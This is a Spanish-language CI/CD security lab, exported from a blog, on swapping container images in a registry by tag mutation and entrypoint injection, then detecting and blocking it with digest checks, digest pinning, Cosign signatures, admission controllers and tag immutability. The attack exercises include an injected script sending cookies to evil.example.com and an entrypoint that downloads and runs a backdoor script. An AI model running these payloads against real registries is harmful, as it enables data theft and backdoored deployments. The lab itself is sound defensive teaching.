{"id":704,"date":"2026-03-22T22:14:53","date_gmt":"2026-03-22T21:14:53","guid":{"rendered":"https:\/\/secure-pipelines.com\/ci-cd-security\/lab-artifact-tampering-detection-swapping-container-images-registry-2\/"},"modified":"2026-03-25T06:27:16","modified_gmt":"2026-03-25T05:27:16","slug":"lab-artifact-tampering-detection-swapping-container-images-registry-2","status":"publish","type":"post","link":"https:\/\/secure-pipelines.com\/es\/ci-cd-security\/lab-artifact-tampering-detection-swapping-container-images-registry-2\/","title":{"rendered":"Lab: Manipulaci\u00f3n y Detecci\u00f3n de Artifacts \u2014 Intercambio de Container Images en un Registry"},"content":{"rendered":"<h2>Descripci\u00f3n general<\/h2>\n<p>Los tags de container images son punteros mutables. A diferencia de un hash de commit de Git, el tag <code>v1.0.0<\/code> no est\u00e1 vinculado criptogr\u00e1ficamente a una imagen espec\u00edfica \u2014 es simplemente una etiqueta que un registry asocia a un digest de manifiesto. Cualquier persona con acceso de push a un repositorio puede sobrescribir esa asociaci\u00f3n en cualquier momento, reemplazando silenciosamente la imagen detr\u00e1s de un tag de confianza.<\/p>\n<p>Esto no es un riesgo te\u00f3rico. Los ataques a la cadena de suministro explotan rutinariamente la mutabilidad de los tags para inyectar c\u00f3digo malicioso en entornos de producci\u00f3n. Si los manifiestos de tu despliegue referencian <code>myapp:v1.0.0<\/code> por tag, un atacante que comprometa las credenciales del registry puede intercambiar la imagen, y cada pull posterior obtendr\u00e1 la carga maliciosa del atacante en lugar de tu build leg\u00edtima.<\/p>\n<p>En este laboratorio:<\/p>\n<ol>\n<li>Configurar\u00e1s un registry OCI local y har\u00e1s push de una container image leg\u00edtima.<\/li>\n<li>Realizar\u00e1s un ataque de mutaci\u00f3n de tag \u2014 hacer push de una imagen completamente diferente bajo el mismo tag.<\/li>\n<li>Realizar\u00e1s un ataque de inyecci\u00f3n de capas \u2014 mutar sutilmente una imagen existente sin reconstruirla.<\/li>\n<li>Detectar\u00e1s la manipulaci\u00f3n con comparaci\u00f3n de digests.<\/li>\n<li>Te defender\u00e1s contra la manipulaci\u00f3n con digest pinning, firmas Cosign, admission controllers y configuraciones de inmutabilidad del registry.<\/li>\n<\/ol>\n<p>Al finalizar, tendr\u00e1s experiencia pr\u00e1ctica con el ciclo completo de ataque y defensa para la integridad de container images.<\/p>\n<h2>Requisitos previos<\/h2>\n<p>Instala las siguientes herramientas antes de comenzar. Todos los comandos en este laboratorio est\u00e1n probados en Linux y macOS.<\/p>\n<table>\n<thead>\n<tr>\n<th>Herramienta<\/th>\n<th>Prop\u00f3sito<\/th>\n<th>Instalaci\u00f3n<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><strong>Docker<\/strong><\/td>\n<td>Construir y ejecutar contenedores<\/td>\n<td><a href=\"https:\/\/docs.docker.com\/get-docker\/\" target=\"_blank\" rel=\"noopener\">docs.docker.com\/get-docker<\/a><\/td>\n<\/tr>\n<tr>\n<td><strong>crane<\/strong><\/td>\n<td>Inspeccionar y mutar im\u00e1genes OCI sin Docker<\/td>\n<td><code>go install github.com\/google\/go-containerregistry\/cmd\/crane@latest<\/code><\/td>\n<\/tr>\n<tr>\n<td><strong>Cosign<\/strong><\/td>\n<td>Firmar y verificar container images<\/td>\n<td><a href=\"https:\/\/docs.sigstore.dev\/cosign\/system_config\/installation\/\" target=\"_blank\" rel=\"noopener\">docs.sigstore.dev\/cosign<\/a><\/td>\n<\/tr>\n<tr>\n<td><strong>kubectl + kind<\/strong><\/td>\n<td>Cl\u00faster local de Kubernetes (para ejercicios de admission control)<\/td>\n<td><a href=\"https:\/\/kind.sigs.k8s.io\/docs\/user\/quick-start\/\" target=\"_blank\" rel=\"noopener\">kind.sigs.k8s.io<\/a><\/td>\n<\/tr>\n<tr>\n<td><strong>jq<\/strong><\/td>\n<td>Procesamiento de JSON<\/td>\n<td><code>apt install jq<\/code> \/ <code>brew install jq<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Verifica tu configuraci\u00f3n:<\/p>\n<pre><code>docker --version\ncrane version\ncosign version\nkubectl version --client\nkind version\njq --version<\/code><\/pre>\n<h2>Configuraci\u00f3n del entorno<\/h2>\n<h3>Iniciar un Registry local<\/h3>\n<p>Usamos la imagen oficial del registry de Docker. Esto nos da un registry privado y sin autenticaci\u00f3n \u2014 perfecto para demostrar lo f\u00e1cil que es la mutaci\u00f3n de tags cuando existe acceso de push.<\/p>\n<pre><code>docker run -d -p 5000:5000 --name registry registry:2<\/code><\/pre>\n<p>Confirma que el registry est\u00e1 en ejecuci\u00f3n:<\/p>\n<pre><code>curl -s http:\/\/localhost:5000\/v2\/_catalog\n# Expected: {\"repositories\":[]}<\/code><\/pre>\n<h3>Construir y hacer Push de una imagen leg\u00edtima<\/h3>\n<p>Crea una aplicaci\u00f3n m\u00ednima basada en Nginx que sirva una p\u00e1gina simple:<\/p>\n<pre><code>mkdir -p \/tmp\/lab-legitimate && cd \/tmp\/lab-legitimate\n\ncat > index.html <<'EOF'\n<!DOCTYPE html>\n<html>\n<head><title>Legitimate App<\/title><\/head>\n<body><h1>Hello from the LEGITIMATE image<\/h1><\/body>\n<\/html>\nEOF\n\ncat > Dockerfile <<'EOF'\nFROM nginx:1.27-alpine\nCOPY index.html \/usr\/share\/nginx\/html\/index.html\nEOF\n\ndocker build -t localhost:5000\/myapp:v1.0.0 .\ndocker push localhost:5000\/myapp:v1.0.0<\/code><\/pre>\n<h3>Registrar el digest original<\/h3>\n<p>Este digest es tu fuente de verdad. Gu\u00e1rdalo \u2014 lo usar\u00e1s a lo largo del laboratorio para detectar y prevenir manipulaciones.<\/p>\n<pre><code>ORIGINAL_DIGEST=$(crane digest localhost:5000\/myapp:v1.0.0)\necho \"Original digest: $ORIGINAL_DIGEST\"\n# Example output: sha256:a1b2c3d4e5f6...<\/code><\/pre>\n<p>Tambi\u00e9n guarda el manifiesto completo para comparaciones posteriores:<\/p>\n<pre><code>crane manifest localhost:5000\/myapp:v1.0.0 | jq . > \/tmp\/original-manifest.json<\/code><\/pre>\n<h2>Ejercicio 1: El ataque \u2014 Mutaci\u00f3n de tag<\/h2>\n<p>La mutaci\u00f3n de tag es la forma m\u00e1s simple de manipulaci\u00f3n de container images. El atacante construye una imagen completamente diferente y hace push bajo el mismo tag, sobrescribiendo la imagen leg\u00edtima en el registry.<\/p>\n<h3>Paso 1: Construir una imagen maliciosa<\/h3>\n<p>Crea una imagen que se vea similar pero sirva contenido diferente \u2014 o en un ataque real, ejecute un reverse shell, exfiltre secretos o mine criptomonedas:<\/p>\n<pre><code>mkdir -p \/tmp\/lab-malicious && cd \/tmp\/lab-malicious\n\ncat > index.html <<'EOF'\n<!DOCTYPE html>\n<html>\n<head><title>Legitimate App<\/title><\/head>\n<body>\n<h1>Hello from the LEGITIMATE image<\/h1>\n<!-- Attacker payload hidden below -->\n<script>fetch('https:\/\/evil.example.com\/exfil?cookie='+document.cookie)<\/script>\n<\/body>\n<\/html>\nEOF\n\ncat > Dockerfile <<'EOF'\nFROM nginx:1.27-alpine\nCOPY index.html \/usr\/share\/nginx\/html\/index.html\n# In a real attack, additional malicious layers would be added here\nEOF\n\ndocker build -t localhost:5000\/myapp:v1.0.0 .\ndocker push localhost:5000\/myapp:v1.0.0<\/code><\/pre>\n<p>Nota el detalle cr\u00edtico: hicimos push al <strong>exactamente el mismo tag<\/strong> \u2014 <code>localhost:5000\/myapp:v1.0.0<\/code>.<\/p>\n<h3>Paso 2: Verificar que el tag fue sobrescrito<\/h3>\n<pre><code>TAMPERED_DIGEST=$(crane digest localhost:5000\/myapp:v1.0.0)\necho \"Original digest:  $ORIGINAL_DIGEST\"\necho \"Current digest:   $TAMPERED_DIGEST\"\n\nif [ \"$ORIGINAL_DIGEST\" != \"$TAMPERED_DIGEST\" ]; then\n  echo \"WARNING: Tag v1.0.0 has been MUTATED \u2014 the image has changed!\"\nfi<\/code><\/pre>\n<p>Salida:<\/p>\n<pre><code>Original digest:  sha256:a1b2c3d4...\nCurrent digest:   sha256:x9y8z7w6...\nWARNING: Tag v1.0.0 has been MUTATED \u2014 the image has changed!<\/code><\/pre>\n<p>Cualquier persona que haga pull de <code>myapp:v1.0.0<\/code> ahora recibe la imagen del atacante. No hay advertencia, no hay notificaci\u00f3n y no hay registro de auditor\u00eda en un registry b\u00e1sico. El tag simplemente apunta a un nuevo manifiesto.<\/p>\n<h3>Por qu\u00e9 esto es peligroso<\/h3>\n<p>Este ataque es trivial de ejecutar para cualquier persona con credenciales de push al registry \u2014 una cuenta de servicio de CI comprometida, un token filtrado en un repositorio p\u00fablico o un miembro del equipo descontento. El tag de la imagen se ve igual, el nombre del repositorio se ve igual, y la mayor\u00eda de los pipelines de despliegue hacen pull ciegamente de lo que apunte el tag.<\/p>\n<h2>Ejercicio 2: El ataque \u2014 Inyecci\u00f3n de capas<\/h2>\n<p>Un intercambio completo de imagen es efectivo pero burdo. Un atacante m\u00e1s sofisticado puede modificar una imagen existente en el lugar, agregando o alterando capas sin reconstruir desde un Dockerfile. Esto hace que la manipulaci\u00f3n sea m\u00e1s dif\u00edcil de detectar mediante una inspecci\u00f3n casual.<\/p>\n<h3>Paso 1: Restablecer a la imagen leg\u00edtima<\/h3>\n<p>Primero, reconstruye y haz push de la imagen leg\u00edtima para tener una l\u00ednea base limpia:<\/p>\n<pre><code>cd \/tmp\/lab-legitimate\ndocker build -t localhost:5000\/myapp:v1.0.0 .\ndocker push localhost:5000\/myapp:v1.0.0\nORIGINAL_DIGEST=$(crane digest localhost:5000\/myapp:v1.0.0)\necho \"Reset to original digest: $ORIGINAL_DIGEST\"<\/code><\/pre>\n<h3>Paso 2: Mutar la imagen con crane<\/h3>\n<p>El comando <code>crane mutate<\/code> modifica los metadatos y la configuraci\u00f3n de la imagen sin requerir una reconstrucci\u00f3n completa. Un atacante puede cambiar el entrypoint, agregar variables de entorno o inyectar comandos:<\/p>\n<pre><code># Change the entrypoint to run a malicious command before the original process\ncrane mutate localhost:5000\/myapp:v1.0.0 \\\n  --entrypoint \"\/bin\/sh,-c,wget -q https:\/\/evil.example.com\/backdoor.sh -O \/tmp\/b.sh && sh \/tmp\/b.sh; nginx -g 'daemon off;'\" \\\n  --tag localhost:5000\/myapp:v1.0.0<\/code><\/pre>\n<p>Este \u00fanico comando sobrescribe el tag con una imagen modificada que ejecutar\u00e1 una descarga maliciosa antes de iniciar Nginx \u2014 todo sin escribir un Dockerfile ni construir desde cero.<\/p>\n<h3>Paso 3: Comparar manifiestos<\/h3>\n<pre><code>crane manifest localhost:5000\/myapp:v1.0.0 | jq . > \/tmp\/tampered-manifest.json\ndiff \/tmp\/original-manifest.json \/tmp\/tampered-manifest.json<\/code><\/pre>\n<p>El diff mostrar\u00e1 que el digest de configuraci\u00f3n ha cambiado (porque la configuraci\u00f3n de la imagen \u2014 incluyendo el entrypoint \u2014 es diferente), pero las capas base pueden permanecer id\u00e9nticas. Para un operador que inspeccione casualmente la imagen, se ve casi igual:<\/p>\n<pre><code># Inspect the tampered image's config\ncrane config localhost:5000\/myapp:v1.0.0 | jq '.config.Entrypoint'\n# Shows the injected malicious entrypoint\n\n# Compare with the original\ndocker inspect localhost:5000\/myapp@$ORIGINAL_DIGEST | jq '.[0].Config.Entrypoint'\n# Shows the original, clean entrypoint<\/code><\/pre>\n<p>Esta t\u00e9cnica es particularmente peligrosa en entornos donde los equipos solo verifican el tag de la imagen o el manifiesto de nivel superior sin inspeccionar la configuraci\u00f3n completa.<\/p>\n<h2>Ejercicio 3: Detecci\u00f3n \u2014 Comparaci\u00f3n de digests<\/h2>\n<p>El mecanismo de detecci\u00f3n m\u00e1s fundamental es la comparaci\u00f3n de digests. Dado que cada imagen \u00fanica tiene un digest SHA-256 \u00fanico, cualquier cambio \u2014 por peque\u00f1o que sea \u2014 produce un hash completamente diferente.<\/p>\n<h3>Paso 1: Script de verificaci\u00f3n manual<\/h3>\n<p>Crea un script que verifique si un tag de imagen todav\u00eda apunta al digest esperado:<\/p>\n<pre><code>cat > \/tmp\/verify-digest.sh <<'SCRIPT'\n#!\/bin\/bash\nset -euo pipefail\n\nIMAGE=\"$1\"\nEXPECTED_DIGEST=\"$2\"\n\nCURRENT_DIGEST=$(crane digest \"$IMAGE\" 2>\/dev\/null)\n\nif [ \"$CURRENT_DIGEST\" = \"$EXPECTED_DIGEST\" ]; then\n  echo \"PASS: $IMAGE matches expected digest\"\n  echo \"  Digest: $CURRENT_DIGEST\"\n  exit 0\nelse\n  echo \"FAIL: $IMAGE has been TAMPERED WITH\"\n  echo \"  Expected: $EXPECTED_DIGEST\"\n  echo \"  Actual:   $CURRENT_DIGEST\"\n  exit 1\nfi\nSCRIPT\nchmod +x \/tmp\/verify-digest.sh<\/code><\/pre>\n<p>Ejec\u00fatalo:<\/p>\n<pre><code># This will FAIL because the image was tampered in Exercise 2\n\/tmp\/verify-digest.sh localhost:5000\/myapp:v1.0.0 \"$ORIGINAL_DIGEST\"\n# Output: FAIL: localhost:5000\/myapp:v1.0.0 has been TAMPERED WITH<\/code><\/pre>\n<h3>Paso 2: Integraci\u00f3n en el pipeline de CI \u2014 GitHub Actions<\/h3>\n<p>Integra la verificaci\u00f3n de digests en tu pipeline de CI\/CD para que las im\u00e1genes manipuladas sean detectadas antes del despliegue:<\/p>\n<pre><code>name: Verify Image Integrity\n\non:\n  workflow_dispatch:\n  push:\n    branches: [main]\n\nenv:\n  REGISTRY: ghcr.io\n  IMAGE_NAME: ${{ github.repository }}\/myapp\n\njobs:\n  verify-image:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Install crane\n        uses: imjasonh\/setup-crane@v0.4\n\n      - name: Log in to registry\n        uses: docker\/login-action@v3\n        with:\n          registry: ${{ env.REGISTRY }}\n          username: ${{ github.actor }}\n          password: ${{ secrets.GITHUB_TOKEN }}\n\n      - name: Verify image digest\n        env:\n          EXPECTED_DIGEST: ${{ vars.MYAPP_V1_DIGEST }}\n        run: |\n          IMAGE=\"${{ env.REGISTRY }}\/${{ env.IMAGE_NAME }}:v1.0.0\"\n          CURRENT_DIGEST=$(crane digest \"$IMAGE\")\n\n          echo \"Expected: $EXPECTED_DIGEST\"\n          echo \"Actual:   $CURRENT_DIGEST\"\n\n          if [ \"$CURRENT_DIGEST\" != \"$EXPECTED_DIGEST\" ]; then\n            echo \"::error::Image digest mismatch \u2014 possible tampering detected!\"\n            exit 1\n          fi\n\n          echo \"Image integrity verified.\"\n\n      - name: Verify all deployment images\n        run: |\n          # Parse digests from a tracked manifest file\n          while IFS='=' read -r image digest; do\n            CURRENT=$(crane digest \"$image\")\n            if [ \"$CURRENT\" != \"$digest\" ]; then\n              echo \"::error::TAMPERED: $image (expected $digest, got $CURRENT)\"\n              FAILED=1\n            else\n              echo \"OK: $image\"\n            fi\n          done < .\/deploy\/image-digests.txt\n\n          [ -z \"${FAILED:-}\" ] || exit 1<\/code><\/pre>\n<p>Almacena tus digests esperados en un archivo con control de versiones (<code>deploy\/image-digests.txt<\/code>) para que cualquier cambio en los digests esperados pase por revisi\u00f3n de c\u00f3digo:<\/p>\n<pre><code># deploy\/image-digests.txt\nghcr.io\/myorg\/myapp:v1.0.0=sha256:a1b2c3d4e5f6...\nghcr.io\/myorg\/myapp:v2.0.0=sha256:f6e5d4c3b2a1...<\/code><\/pre>\n<h2>Ejercicio 4: Defensa \u2014 Digest Pinning<\/h2>\n<p>El digest pinning es la defensa m\u00e1s simple y efectiva contra la mutaci\u00f3n de tags. En lugar de referenciar una imagen por su tag mutable, la referencias por su digest inmutable.<\/p>\n<h3>Paso 1: Fijar la imagen en un manifiesto de Kubernetes<\/h3>\n<p>Reemplaza las referencias basadas en tags con referencias basadas en digests:<\/p>\n<pre><code># VULNERABLE: uses a mutable tag\n# image: localhost:5000\/myapp:v1.0.0\n\n# SECURE: pinned to an immutable digest\napiVersion: apps\/v1\nkind: Deployment\nmetadata:\n  name: myapp\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      app: myapp\n  template:\n    metadata:\n      labels:\n        app: myapp\n    spec:\n      containers:\n      - name: myapp\n        image: localhost:5000\/myapp@sha256:a1b2c3d4e5f6...\n        ports:\n        - containerPort: 80<\/code><\/pre>\n<p>Con digest pinning, incluso si un atacante muta el tag <code>v1.0.0<\/code>, tu despliegue seguir\u00e1 haciendo pull de la imagen exacta identificada por el digest fijado. El registry resuelve las im\u00e1genes por digest independientemente de los tags.<\/p>\n<h3>Paso 2: Probarlo<\/h3>\n<pre><code># Reset to clean image\ncd \/tmp\/lab-legitimate\ndocker build -t localhost:5000\/myapp:v1.0.0 .\ndocker push localhost:5000\/myapp:v1.0.0\nORIGINAL_DIGEST=$(crane digest localhost:5000\/myapp:v1.0.0)\n\n# Tamper with the tag\ncd \/tmp\/lab-malicious\ndocker build -t localhost:5000\/myapp:v1.0.0 .\ndocker push localhost:5000\/myapp:v1.0.0\n\n# Pull by tag \u2014 gets the TAMPERED image\ndocker pull localhost:5000\/myapp:v1.0.0\n\n# Pull by digest \u2014 gets the ORIGINAL image\ndocker pull localhost:5000\/myapp@$ORIGINAL_DIGEST\n\n# Verify\ndocker run --rm localhost:5000\/myapp@$ORIGINAL_DIGEST cat \/usr\/share\/nginx\/html\/index.html\n# Output: Hello from the LEGITIMATE image<\/code><\/pre>\n<h3>Paso 3: Forzar el digest pinning con Kyverno<\/h3>\n<p>Para asegurar que ning\u00fan miembro del equipo despliegue accidentalmente una referencia basada en tags, usa una pol\u00edtica de Kyverno que rechace cualquier especificaci\u00f3n de pod que no use un digest:<\/p>\n<pre><code>apiVersion: kyverno.io\/v1\nkind: ClusterPolicy\nmetadata:\n  name: require-image-digest\n  annotations:\n    policies.kyverno.io\/title: Require Image Digest\n    policies.kyverno.io\/description: >-\n      Requires all container images to be referenced by digest\n      rather than by tag, preventing tag-mutation attacks.\nspec:\n  validationFailureAction: Enforce\n  background: true\n  rules:\n  - name: check-image-digest\n    match:\n      any:\n      - resources:\n          kinds:\n          - Pod\n    validate:\n      message: \"Images must be referenced by digest (image@sha256:...), not by tag.\"\n      pattern:\n        spec:\n          containers:\n          - image: \"*@sha256:*\"\n  - name: check-init-container-digest\n    match:\n      any:\n      - resources:\n          kinds:\n          - Pod\n    preconditions:\n      all:\n      - key: \"{{ request.object.spec.initContainers[] || `[]` | length(@) }}\"\n        operator: GreaterThanOrEquals\n        value: 1\n    validate:\n      message: \"Init container images must be referenced by digest.\"\n      pattern:\n        spec:\n          initContainers:\n          - image: \"*@sha256:*\"<\/code><\/pre>\n<p>Aplica la pol\u00edtica y prueba:<\/p>\n<pre><code>kubectl apply -f require-image-digest.yaml\n\n# This will be REJECTED (uses a tag)\nkubectl run test --image=localhost:5000\/myapp:v1.0.0\n# Error: Images must be referenced by digest (image@sha256:...), not by tag.\n\n# This will be ADMITTED (uses a digest)\nkubectl run test --image=localhost:5000\/myapp@sha256:a1b2c3d4e5f6...<\/code><\/pre>\n<h2>Ejercicio 5: Defensa \u2014 Verificaci\u00f3n de firmas con Cosign<\/h2>\n<p>El digest pinning te dice <em>qu\u00e9<\/em> imagen confiar, pero no demuestra <em>qui\u00e9n la construy\u00f3<\/em>. Las firmas de Cosign vinculan una identidad criptogr\u00e1fica a un digest de imagen, permiti\u00e9ndote verificar la procedencia.<\/p>\n<h3>Paso 1: Generar un par de claves de firma<\/h3>\n<pre><code>cosign generate-key-pair\n# Creates cosign.key (private) and cosign.pub (public)<\/code><\/pre>\n<h3>Paso 2: Firmar la imagen leg\u00edtima<\/h3>\n<p>Siempre firma por digest, nunca por tag:<\/p>\n<pre><code># Reset to clean image\ncd \/tmp\/lab-legitimate\ndocker build -t localhost:5000\/myapp:v1.0.0 .\ndocker push localhost:5000\/myapp:v1.0.0\nORIGINAL_DIGEST=$(crane digest localhost:5000\/myapp:v1.0.0)\n\n# Sign by digest\ncosign sign --key cosign.key --tlog-upload=false \\\n  localhost:5000\/myapp@${ORIGINAL_DIGEST}\n\n# Verify the signature\ncosign verify --key cosign.pub --insecure-ignore-tlog=true \\\n  localhost:5000\/myapp@${ORIGINAL_DIGEST}\n# Output: Verification for localhost:5000\/myapp@sha256:... --\n# The following checks were performed:\n# - The cosign claims were validated\n# - The signatures were verified against the specified public key<\/code><\/pre>\n<h3>Paso 3: Manipular el tag y verificar<\/h3>\n<pre><code># Push the malicious image under the same tag\ncd \/tmp\/lab-malicious\ndocker build -t localhost:5000\/myapp:v1.0.0 .\ndocker push localhost:5000\/myapp:v1.0.0\n\n# Try to verify the tag \u2014 this will FAIL\ncosign verify --key cosign.pub --insecure-ignore-tlog=true \\\n  localhost:5000\/myapp:v1.0.0\n# Error: no matching signatures\n\n# Verify the original digest \u2014 this still PASSES\ncosign verify --key cosign.pub --insecure-ignore-tlog=true \\\n  localhost:5000\/myapp@${ORIGINAL_DIGEST}\n# Output: Verified OK<\/code><\/pre>\n<p>Esto demuestra la propiedad clave: <strong>las firmas de Cosign est\u00e1n vinculadas a digests, no a tags.<\/strong> Cuando un atacante muta un tag, la firma no lo sigue \u2014 permanece asociada al digest original. La verificaci\u00f3n contra el tag falla porque el tag ahora apunta a una imagen sin firmar.<\/p>\n<h3>Por qu\u00e9 esto importa<\/h3>\n<p>Las firmas proporcionan una cadena de confianza del constructor al desplegador. Incluso si un atacante obtiene acceso de push a tu registry, no puede falsificar una firma v\u00e1lida sin tu clave privada de firma. Combinadas con el digest pinning, las firmas te dan tanto integridad (la imagen no ha sido modificada) como autenticidad (la imagen fue construida por una parte de confianza).<\/p>\n<h2>Ejercicio 6: Defensa \u2014 Aplicaci\u00f3n con Admission Controller<\/h2>\n<p>El digest pinning y las firmas solo son efectivos si se aplican de manera consistente. Un admission controller automatiza esta aplicaci\u00f3n a nivel de la API de Kubernetes, rechazando cualquier carga de trabajo que referencie una imagen sin firmar o no verificada.<\/p>\n<h3>Paso 1: Crear un cl\u00faster Kind<\/h3>\n<pre><code>kind create cluster --name sigstore-lab\n\n# Configure the cluster to access the local registry\ndocker network connect kind registry\nkubectl cluster-info --context kind-sigstore-lab<\/code><\/pre>\n<h3>Paso 2: Instalar el Sigstore Policy Controller<\/h3>\n<pre><code>helm repo add sigstore https:\/\/sigstore.github.io\/helm-charts\nhelm repo update\n\nhelm install policy-controller sigstore\/policy-controller \\\n  --namespace cosign-system \\\n  --create-namespace \\\n  --set webhook.configMapName=policy-controller-config<\/code><\/pre>\n<p>Espera a que el controller est\u00e9 listo:<\/p>\n<pre><code>kubectl -n cosign-system rollout status deploy\/policy-controller-webhook<\/code><\/pre>\n<h3>Paso 3: Crear una pol\u00edtica de verificaci\u00f3n<\/h3>\n<pre><code># Create a secret with the Cosign public key\nkubectl create secret generic cosign-pub-key \\\n  --from-file=cosign.pub=cosign.pub \\\n  -n cosign-system\n\n# Label the namespace to enable enforcement\nkubectl label namespace default \\\n  policy.sigstore.dev\/include=true<\/code><\/pre>\n<p>Crea una <code>ClusterImagePolicy<\/code> que requiera una firma v\u00e1lida de Cosign para todas las im\u00e1genes de tu registry:<\/p>\n<pre><code>apiVersion: policy.sigstore.dev\/v1beta1\nkind: ClusterImagePolicy\nmetadata:\n  name: require-signature\nspec:\n  images:\n  - glob: \"localhost:5000\/**\"\n  authorities:\n  - key:\n      secretRef:\n        name: cosign-pub-key\n        namespace: cosign-system\n      hashAlgorithm: sha256<\/code><\/pre>\n<pre><code>kubectl apply -f cluster-image-policy.yaml<\/code><\/pre>\n<h3>Paso 4: Probar la aplicaci\u00f3n<\/h3>\n<pre><code># Deploy with the SIGNED image (by digest) \u2014 ADMITTED\nkubectl run signed-app \\\n  --image=localhost:5000\/myapp@${ORIGINAL_DIGEST}\n# pod\/signed-app created\n\n# Deploy with the TAMPERED image (unsigned) \u2014 REJECTED\nTAMPERED_DIGEST=$(crane digest localhost:5000\/myapp:v1.0.0)\nkubectl run tampered-app \\\n  --image=localhost:5000\/myapp@${TAMPERED_DIGEST}\n# Error from server (BadRequest): admission webhook \"policy.sigstore.dev\" denied the request:\n# validation failed: failed policy: require-signature: \n# spec.containers[0].image signature verification failed<\/code><\/pre>\n<p>El admission controller bloquea autom\u00e1ticamente cualquier imagen que no tenga una firma v\u00e1lida de tu clave de confianza. Esto cierra el ciclo \u2014 incluso si un atacante hace push de una imagen manipulada, no puede ejecutarse en tu cl\u00faster.<\/p>\n<h2>Ejercicio 7: Inmutabilidad del Registry<\/h2>\n<p>Los ataques en los Ejercicios 1 y 2 solo son posibles porque el registry permite la sobrescritura de tags. Muchos registries gestionados soportan <strong>inmutabilidad de tags<\/strong>, lo que previene cualquier push a un tag existente.<\/p>\n<h3>AWS ECR: Habilitar la inmutabilidad de tags<\/h3>\n<pre><code># Enable immutable tags on an existing repository\naws ecr put-image-tag-mutability \\\n  --repository-name myapp \\\n  --image-tag-mutability IMMUTABLE\n\n# Verify the setting\naws ecr describe-repositories --repository-names myapp \\\n  | jq '.repositories[0].imageTagMutability'\n# Output: \"IMMUTABLE\"<\/code><\/pre>\n<p>Con la inmutabilidad habilitada, cualquier intento de hacer push a un tag existente es rechazado:<\/p>\n<pre><code>docker push 123456789.dkr.ecr.us-east-1.amazonaws.com\/myapp:v1.0.0\n# Error: tag invalid: The image tag 'v1.0.0' already exists in the 'myapp' repository\n# and cannot be overwritten because the repository is immutable.<\/code><\/pre>\n<h3>Google Artifact Registry: Habilitar la inmutabilidad de tags<\/h3>\n<pre><code>gcloud artifacts repositories update myapp-repo \\\n  --location=us-central1 \\\n  --immutable-tags<\/code><\/pre>\n<h3>Azure ACR: Habilitar el bloqueo de tags<\/h3>\n<pre><code>az acr repository update \\\n  --name myregistry \\\n  --image myapp:v1.0.0 \\\n  --write-enabled false<\/code><\/pre>\n<h3>Docker Hub y GHCR<\/h3>\n<p>Docker Hub y GitHub Container Registry actualmente no soportan inmutabilidad de tags a nivel de registry. Para estos registries, conf\u00eda en las firmas de Cosign y los admission controllers como tu defensa principal.<\/p>\n<h3>Consideraciones<\/h3>\n<p>La inmutabilidad de tags previene la sobrescritura pero tambi\u00e9n previene escenarios leg\u00edtimos de re-etiquetado (como promover una imagen de <code>staging<\/code> a <code>production<\/code> mediante re-etiquetado). Planifica tu estrategia de etiquetado en consecuencia \u2014 usa tags \u00fanicos (como tags basados en Git SHA) y flujos de promoci\u00f3n que creen nuevos tags en lugar de sobrescribir los existentes.<\/p>\n<h2>Limpieza<\/h2>\n<p>Elimina todos los recursos creados durante este laboratorio:<\/p>\n<pre><code># Stop and remove the local registry\ndocker stop registry && docker rm registry\n\n# Remove the kind cluster (if created)\nkind delete cluster --name sigstore-lab\n\n# Clean up temporary files\nrm -rf \/tmp\/lab-legitimate \/tmp\/lab-malicious\nrm -f \/tmp\/original-manifest.json \/tmp\/tampered-manifest.json\nrm -f \/tmp\/verify-digest.sh\nrm -f cosign.key cosign.pub\n\n# Remove locally cached images\ndocker rmi localhost:5000\/myapp:v1.0.0 2>\/dev\/null || true<\/code><\/pre>\n<h2>Conclusiones clave<\/h2>\n<ul>\n<li><strong>Los tags de container images son mutables.<\/strong> Cualquier persona con acceso de push puede reemplazar silenciosamente la imagen detr\u00e1s de un tag. Nunca conf\u00edes en un tag como garant\u00eda del contenido de la imagen.<\/li>\n<li><strong>El digest pinning es tu primera l\u00ednea de defensa.<\/strong> Referenciar im\u00e1genes por <code>@sha256:...<\/code> en lugar de <code>:tag<\/code> asegura que siempre hagas pull de la imagen exacta que deseas, independientemente de las mutaciones de tags.<\/li>\n<li><strong>Las firmas de Cosign demuestran la procedencia.<\/strong> Las firmas vinculan una identidad criptogr\u00e1fica a un digest espec\u00edfico, verificando tanto la integridad (no manipulada) como la autenticidad (construida por una parte de confianza).<\/li>\n<li><strong>Los admission controllers aplican pol\u00edticas en el momento del despliegue.<\/strong> Herramientas como Kyverno y Sigstore policy-controller rechazan im\u00e1genes sin firmar o no verificadas antes de que puedan ejecutarse en tu cl\u00faster.<\/li>\n<li><strong>La inmutabilidad del registry previene el ataque en su origen.<\/strong> Habilitar tags inmutables en ECR, GCR o ACR detiene la sobrescritura de tags por completo, pero requiere una estrategia de etiquetado que evite la reutilizaci\u00f3n.<\/li>\n<li><strong>La defensa en profundidad es esencial.<\/strong> Ning\u00fan mecanismo individual es suficiente. Combina digest pinning, firma, admission control e inmutabilidad del registry para una protecci\u00f3n robusta contra ataques a la cadena de suministro en container images.<\/li>\n<\/ul>\n<h2>Pr\u00f3ximos pasos<\/h2>\n<p>Contin\u00faa desarrollando tus habilidades de seguridad de contenedores con estas gu\u00edas relacionadas:<\/p>\n<ul>\n<li><a href=\"\/es\/ci-cd-security\/signing-verifying-container-images-sigstore-cosign\/\">Firma y verificaci\u00f3n de Container Images con Sigstore y Cosign<\/a> \u2014 Una inmersi\u00f3n profunda en la firma sin claves con Fulcio, registros de transparencia con Rekor y patrones de integraci\u00f3n CI\/CD para flujos de trabajo de firma automatizada.<\/li>\n<li><a href=\"\/es\/ci-cd-security\/defensive-patterns-mitigations-ci-cd-pipeline-attacks\/\">Patrones defensivos y mitigaciones<\/a> \u2014 Estrategias integrales para asegurar todo tu pipeline de CI\/CD, desde el control de c\u00f3digo fuente hasta el despliegue en producci\u00f3n.<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Descripci\u00f3n general Los tags de container images son punteros mutables. A diferencia de un hash de commit de Git, el tag v1.0.0 no est\u00e1 vinculado criptogr\u00e1ficamente a una imagen espec\u00edfica \u2014 es simplemente una etiqueta que un registry asocia a un digest de manifiesto. Cualquier persona con acceso de push a un repositorio puede sobrescribir &#8230; <a title=\"Lab: Manipulaci\u00f3n y Detecci\u00f3n de Artifacts \u2014 Intercambio de Container Images en un Registry\" class=\"read-more\" 